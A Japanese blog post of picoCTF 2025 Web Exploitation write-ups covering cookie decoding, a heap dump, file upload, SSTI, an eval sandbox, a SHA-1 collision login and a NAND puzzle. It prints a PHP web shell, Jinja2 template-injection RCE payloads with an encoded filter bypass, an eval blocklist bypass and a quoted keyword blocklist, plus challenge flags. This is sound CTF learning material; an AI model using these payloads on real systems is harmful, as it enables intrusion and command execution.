picoCTF2025 writeup (Web Exploitation)

# はじめに
Works Human Intelligenceでエンジニアをしている kotenpan です。
picoCTF2025にWHIの有志でチーム参加しました。最終的に3810ポイントを獲得し、570位/10460チームという結果になりました。去年の年末からCTFに取り組み始めた初心者ですが、初心者ながらもかなり健闘できたのではないかと思います。CTFたのし～^^

復習もかねてpicoCTF2025のwriteupを書いていきます。人生で初めてwriteupを書くので、CTFつよつよお兄さんお姉さんの方々は温かい目で見守ってくださると幸いです。
量が多すぎると自分のやる気が低下してしまうので、この記事ではWeb Exploitationに絞って書きます。

Cryptography / Reverse Engineering / Binary Exploitation はこちら

https://qiita.com/kotenpan7255/items/b6f45711da27cf8d70a9

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/69bd2b57-bb0c-41e0-9388-4a54d403778b.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/da186683-0450-4ffa-b058-551821363c0f.png)

# 解けた問題

## [Easy] Cookie Monster Secret Recipe - 50pts
[問題](https://play.picoctf.org/practice/challenge/469?category=1&originalEvent=74&page=1)

ログインできたら秘密のレシピを教えてくれるかも...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/58a352f8-da3d-4c64-9b17-e36900545875.png)


いろいろいじっている中で検証ツール内のCookieを確認したらsecret_recipeの値に`cGljb0NURntjMDBrMWVfbTBuc3Rlcl9sMHZlc19jMDBraWVzX0U2MzRERkJCfQ%3D%3D`が入っていた。 
base64でデコードしたらフラグが出てきた。

`picoCTF{c00k1e_m0nster_l0ves_c00kies_E634DFBB}`

## [Easy] head-dump - 50pts
[問題](https://play.picoctf.org/practice/challenge/476?category=1&originalEvent=74&page=1)

すごく凝ったUIだ、、、ちなみにJohn Doeは日本語で言う名無しの権兵衛的な名前。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/98798ae1-6a3e-43ce-829a-f16044fda683.png)

ブログWebサイトの中からフラグを見つけ出す問題。問題文で「秘密のフラグが隠されているサーバーのメモリを保持するファイルを生成するエンドポイントを見つけることが目標です」と書いている。かなり丁寧。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/74fce78e-98ea-415b-973c-3b79f4ee1963.png)

いろいろリンクを押してると API Documentation のページが開かれ、`/hexdump` エンドポイントの存在が判明する。 heapsnapshotファイルをダウンロードして手元で `strings heapdump-1742292586061.heapsnapshot | grep "picoCTF{"` を実行したらフラグが出てきた。

`picoCTF{Pat!3nt_15_Th3_K3y_46022a05}`

## [Easy] n0s4n1ty 1 - 100pts
[問題](https://play.picoctf.org/practice/challenge/482?category=1&originalEvent=74&page=1)

お兄さんがファイルをアップロードして欲しそうにこちらを見ている。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/303345ac-3f12-4b97-b8c5-61a295c1972a.png)

熱い眼差しを感じたので、外部からコマンドが実行できるようなPHPを用意してアップロードする。
``` a.php
<?php
if (isset($_GET['cmd'])){
    $cmd = $_GET['cmd'];
    system($cmd);
}
?>
```
`The file a.php has been uploaded Path: uploads/a.php` と表示される。
これで`http://{host}:{port}/uploads/a.php?cmd=sudo ls /root`のように好きなコマンドを実行できるようになる。flagは`/root/flag.txt`にあるので`cat`すれば勝ち。

`picoCTF{wh47_c4n_u_d0_wPHP_80eedb7d}`


## [Easy] SSTI1 - 100pts
[問題](https://play.picoctf.org/practice/challenge/492?category=1&originalEvent=74&page=1)
Server-Side Template Injectionに関する問題

好きな文字を入れるとめちゃ大々的にアナウンスしてくれるらしい。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/81eef9ba-9830-4395-b5e8-675a533eec0f.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/9ba6fb93-c696-4be1-977f-c2ff6eff9897.png)

`{{ 2*2 }}` を入れて実行すると `4` が出力されるので、テンプレートエンジンはJinja2であることが分かる。 SSTIについてよく知らなかったので調べてみると、[CTFのWebセキュリティにおけるSSTIまとめ](https://blog.hamayanhamayan.com/entry/2021/12/15/225142) というサイトを見つけ参考にした。
`{{request.application.__globals__.__builtins__.__import__('os').popen('ls -l').read()}}`でRCEしたら同じ階層に`flag`という名前のファイルが見つかったので、コマンドを`cat flag`に変えてRCEするとフラグ獲得できた。

`picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_eb0c6390}`


## [Medium] SSTI2 - 200pts
[問題](https://play.picoctf.org/practice/challenge/488?category=1&originalEvent=74&page=1)

SSTI1と同じ問題だが、この問題は許可されていないワードが入力されると弾かれてしまう（ブラックリスト形式）。悪いことすると怒られちゃう >:(

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/1a759cd0-5aaf-4373-bf7d-e6ee64c5ed16.png)

参考：https://me-ankeet.medium.com/ctf-write-up-my-first-blog-tuctf-2023-ssti-sandbox-bypass-ee64b84c7104

`os.popen()` `__import__('os')` `request` を呼び出せなさそうなので、`subprocess.Popen` を使う事を目標に準備を進める。
Pythonのメソッド順序解決 (Method Resolution Order, MRO)「多重継承したクラスのメソッドが呼び出されるときに、どのメソッドがどういう順番で呼びだされるかが決められている」というものを利用。
`{{().__class__.__base__.__subclasses__()}}` で利用可能なクラスのリストを出力させ、`subprocess.Popen` のindexを特定すると、`{{().__class__.__base__.__subclasses__().__getitem__(index番号) }}` のようにリストのindex経由で`subprocess.Popen`を呼び出せるようになる。

利用可能なクラスのリストを取得するペイロードはこれ：`{{()|attr('\x5f\x5f\x63lass\x5f\x5f')|attr('\x5f\x5f\x62ase\x5f\x5f')|attr('\x5f\x5fsub\x63lasses\x5f\x5f')()}}` 
手元でPythonのコードを書いて `subprocess.Popen` のindexが356であることを確認。これを利用して `cat flag` を実行しようとすると、ペイロードは `{{().__class__.__base__.__subclasses__().__getitem__(356)('cat flag',shell=True,stdout=-1).communicate()}}` になる。（flagが同じ階層にあるというのはSSTI1と同じ構造だと仮定している）
あとはブラックリストを回避するようペイロードを複雑化させると、`{{()|attr('\x5f\x5f\x63lass\x5f\x5f')|attr('\x5f\x5f\x62ase\x5f\x5f')|attr('\x5f\x5fsub\x63lasses\x5f\x5f')()|attr('\x5f\x5f\x67etitem\x5f\x5f')(356)('cat flag',shell=True,stdout=-1)|attr('communicate')()}}` でフラグ獲得。

`picoCTF{sst1_f1lt3r_byp4ss_eb2a60e7}`

## [Medium] 3v@l - 200pts
[問題](https://play.picoctf.org/practice/challenge/484?category=1&originalEvent=74&page=1)

eval を使って計算してるらしい。脆弱～～

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/d31657d5-ca1d-4092-9c0e-7eef22c16ccb.png)

でも許されざるキーワードがいくつか存在するみたい。
```
Secure python_flask eval execution by 
    1.blocking malcious keyword like os,eval,exec,bind,connect,python,socket,ls,cat,shell,bind
    2.Implementing regex: r'0x[0-9A-Fa-f]+|\\u[0-9A-Fa-f]{4}|%[0-9A-Fa-f]{2}|\.[A-Za-z0-9]{1,3}\b|[\\\/]|\.\.'
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/3fa7be6f-4ed0-41ae-8452-bdfe459ffd8d.png)

`open(/flag.txt).read()` をかましちゃえば勝ち。`open(chr(47)+"fl"+"ag"+chr(46)+"tx"+"t").read()
`でフラグ獲得。

`picoCTF{D0nt_Use_Unsecure_f@nctionsa4121ed2}`


## [Medium] Apriti sesamo - 200pts
[問題](https://play.picoctf.org/practice/challenge/467?category=1&originalEvent=74&page=1)

イタリア語で「開けゴマ」らしい。ログイン画面で煽られる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/2b080e67-5034-4629-8c85-d07995ca49d0.png)

「噂によると開発者はemacsユーザーらしい」というヒントから、emacsがバッグアップファイルを残している可能性がある。最後にチルダをつけた `http://{host}:{port}/impossibleLogin.php~` にアクセスすると、ソースにPHPが出現する。

```php
<?php
 if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?>
```
このPHPを読み解くとログイン成功となる条件が分かる
- usernameのSHA1ハッシュ値とpasswordのSHA1ハッシュ値が同じだった場合にログインできる
- ただしusernameとpasswordは同じにしてはいけない

SHA1が衝突するようなものを探してみたら、こんな[サイト](https://sha-mbles.github.io/)が。
messageAとmessageBをバイナリ化してpostbodyを作ってPOSTしたらフラグゲット。

```postbody.txt
username=%99%04%0D%04%7F%E8%17%80%01%20%00%FFKey%20is%20part%20of%20a%20collision%21%20It%27s%20a%20trap%21y%C6%1A%F0%AF%CC%05E%15%D9%27Ns%07bK%1D%C7%FB%23%98%8B%B8%DE%8BW%5D%BA%7B%9E%AB1%C1gKm%97Cx%A8%27s%2F%F5%85%1Cv%A2%E6%07r%B5%A4%7C%E1%EA%C4%0B%B9%93%C1-%8Cp%E2JO%8D_%CD%ED%C1%B3%2C%9C%F1%9E1%AF%24%29u%9DB%E4%DF%DB1q%9FXv%23%EEU%299%B6%DC%DCE%9F%CASU%3Bp%F8~%DE0%A2G%EA%3A%F6%C7Y%A2%F2%0B2%0Dv%0D%B6O%F4y%08O%D3%CC%B3%CD%D4%83b%D9j%9CC%06%17%CA%FFl6%C67%E5%3F%DE%28A%7Fbo%ECT%EDyC%A4n_W0%F2%BB8%FB%1D%F6%E0%09%00%10%D0%0E%24%ADx%BF%92d%19%93%60%8E%8D%15%8Ax%9F4%C4o%E1%E6%02%7F5%A4%CB%FB%82pv%C5%0E%CA%0E%8B%7C%CAi%BB%2C%2By%02Y%F9%BF%95p%DD%8DD7%A3%11_%AF%F7%C3%CA%C0%9A%D2Rf%05%5C%27%10GU%17%8E%AE%FF%82Z%2C%AA%2A%CF%B5%DEd%CEvA%DCY%A5A%A9%FC%9CugV%E2%E2%3D%C7%13%C8%C2L%97%90%AAk%0E8%A7%F5_%14E%2A%1C%A2%85%0D%DD%95b%FD%9A%18%ADBIj%A9p%08%F7Fr%F6%8E%F4a%EB%88%B0%993%D6%26%B4%F9%18t%9C%C0%27%FD%DDlB_%C4%21h5%D0%13M%15%28%5B%AB%2C%B7%84%A4%F7%CB%B4%FBQMK%F0%F6%23%7C%F0%0A%9E%9F%13%2B%9A%06no%D1%7FlB%98txXo%F6Q%AF%96t%7F%B4%26%B9%87%2B%9A%88%E4%06%3FY%BB3L%C0%06P%F8%3A%80%C4%27Q%B7%19t%D3%00%FC%28%19%A2%E8%F1%E3%2C%1BQ%CB%18%E6%BF%C4%DB%9B%AE%F6u%D4%AA%F5%B1WJ%04%7F%8Fm%D2%EC%15%3A%93A%22%93%97M%92%8F%88%CE%D96%3C%FE%F9%7C%E2%E7B%BF4%C9k%8E%F3%87Vv%FE%A5%CC%A8%E5%F7%DE%A0%BA%B2A%3DM%E0%0E%E7%1E%E0%1F%16%2B%DBm%1E%AF%D9%25%E6%AE%BA%AEj5N%F1%7C%F2%05%A4%04%FB%DB%12%FCEMA%FD%D9%5C%F2E%96d%A2%AD%03-%1D%A6%0As%26%40u%D7%F1%E0%D6%C1%40%3A%E7%A0%D8a%DF%3F%E5pq%88%DD%5E%07%D1X%9B%9F%8Bf0U%3F%8F%C3R%B3%E0%C2%7D%A8%0B%DD%BALd%02%0D&pwd=%99%03%0D%04%7F%E8%17%80%01%18%00%FFPractical%20SHA-1%20chosen-prefix%20collision%21%1D%27lk%A6a%E1%04%0E%1F%7Dv%7F%07bI%DD%C7%FB3%2C%8B%B8%C2%B7W%5D%BE%C7%9E%AB%2B%E1gK%7D%B3Cx%B4%CBs%2F%E1%89%1Cv%A0%26%07r%A5%10%7C%E1%F6%E8%0B%B9%97%7D-%8ChRJO%9D_%CD%ED%CD%0B%2C%9C%E1%921%AF%26%E9u%9DRP%DF%DB-M%9FXr%9F%EEU3%19%B6%DC%CCa%9F%CAO%B9%3Bp%ECr%DE0%A0%87%EA%3A%E6sY%A2%EE%272%0Dr%B1%B6O%EC%C9%08O%C3%CC%B3%CD%D8%3Bb%D9z%90C%06%15%0A%FFl%26r7%E5%23%E2%28A%7B%DEo%ECN%CDyC%B4J_W%2C%1E%BB8%EF%11%F6%E0%0B%C0%10%D0%1E%90%ADx%A3%BEd%19%97%DC%8E%8D%0D%3Ax%9F%24%C4o%E1%EA%BA%7F5%B4%C7%FB%82r%B6%C5%0E%DA%BA%8B%7C%D6U%BB%2C%2F%C5%02Y%E3%9F%95p%CD%A9D7%BF%FD_%AF%E3%CF%CA%C0%98%12Rf%15%E8%27%10%5By%17%8E%AAC%82Z4%1A%2A%CF%A5%DEd%CEz%F9%DCY%B5M%A9%FC%9E%B5gV%F2V%3D%C7%0F%F4%C2L%93%2C%AAk%14%18%A7%F5O0E%2A%00N%85%0D%C9%99b%FD%98%D8%ADBY%DE%A9p%14%DBFr%F22%F4a%F38%B0%99%23%D6%26%B4%F5%A0t%9C%D0%2B%FD%DDn%82_%C41%DC5%D0%0Fq%15%28_%17%2C%B7%9E%84%F7%CB%A4%DFQMW%1C%F6%23h%FC%0A%9E%9D%D3%2B%9A%16%DAo%D1c%40B%98p%C4Xo%EE%E1%AF%96d%7F%B4%26%B5%3F%2B%9A%98%E8%06%3F%5B%7B3L%D0%B2P%F8%26%BC%C4%27U%0B%19t%C9%20%FC%28%09%86%E8%F1%FF%C0%1BQ%DF%14%E6%BF%C6%1B%9B%AE%E6%C1%D4%AA%E9%9DWJ%00%C3%8Fm%CA%5C%15%3A%83A%22%93%9B%F5%92%8F%98%C2%D96%3E%3E%F9%7C%F2SB%BF%28%F5k%8E%F7%3BVv%E4%85%CC%A8%F5%D3%DE%A0%A6%5EA%3DY%EC%0E%E7%1C%20%1F%16%3Bom%1E%B3%F5%25%E6%AA%06%AEj-%FE%F1%7C%E2%05%A4%04%F7c%12%FCUAA%FD%DB%9C%F2E%86%D0%A2%AD%1F%11%1D%A6%0E%CF%26%40o%F7%F1%E0%C6%E5%40%3A%FBL%D8a%CB3%E5psH%DD%5E%17eX%9B%83%A7f0Q%83%8F%C3J%03%E0%C2m%A8%0B%DD%B6%F4d%02%1D
```

```curl
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data-binary @postbody.txt http://verbal-sleep.picoctf.net:50765/impossibleLogin.php
```

`picoCTF{w3Ll_d3sErV3d_Ch4mp_2d9f3447}` 

## [Medium] Pachinko - 200pts
[問題](https://play.picoctf.org/practice/challenge/494?category=1&originalEvent=74&page=1)

NANDシミュレータサイト。何度でも試せる。NANDだけに。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3840383/9d212e8e-246f-4ad1-9f9f-b98cb82dfcd2.png)

4ビットの入力をすべて反転する回路をNANDゲートのみで実装できればFLAGがゲットできるみたい。
curlで組み立てたjsonをPOSTしたらフラグが帰ってきた。

```
curl -X POST "http://{host}:{port}/check" \
    -H "Content-Type: application/json" \
    -d '{
    "circuit": [
        { "input1": 5, "input2": 5, "output": 1 },
        { "input1": 6, "input2": 6, "output": 2 },
        { "input1": 7, "input2": 7, "output": 3 },
        { "input1": 8, "input2": 8, "output": 4 }
    ]}'
```

`{"status":"success","flag":"picoCTF{p4ch1nk0_f146_0n3_e947b9d7}\n"}`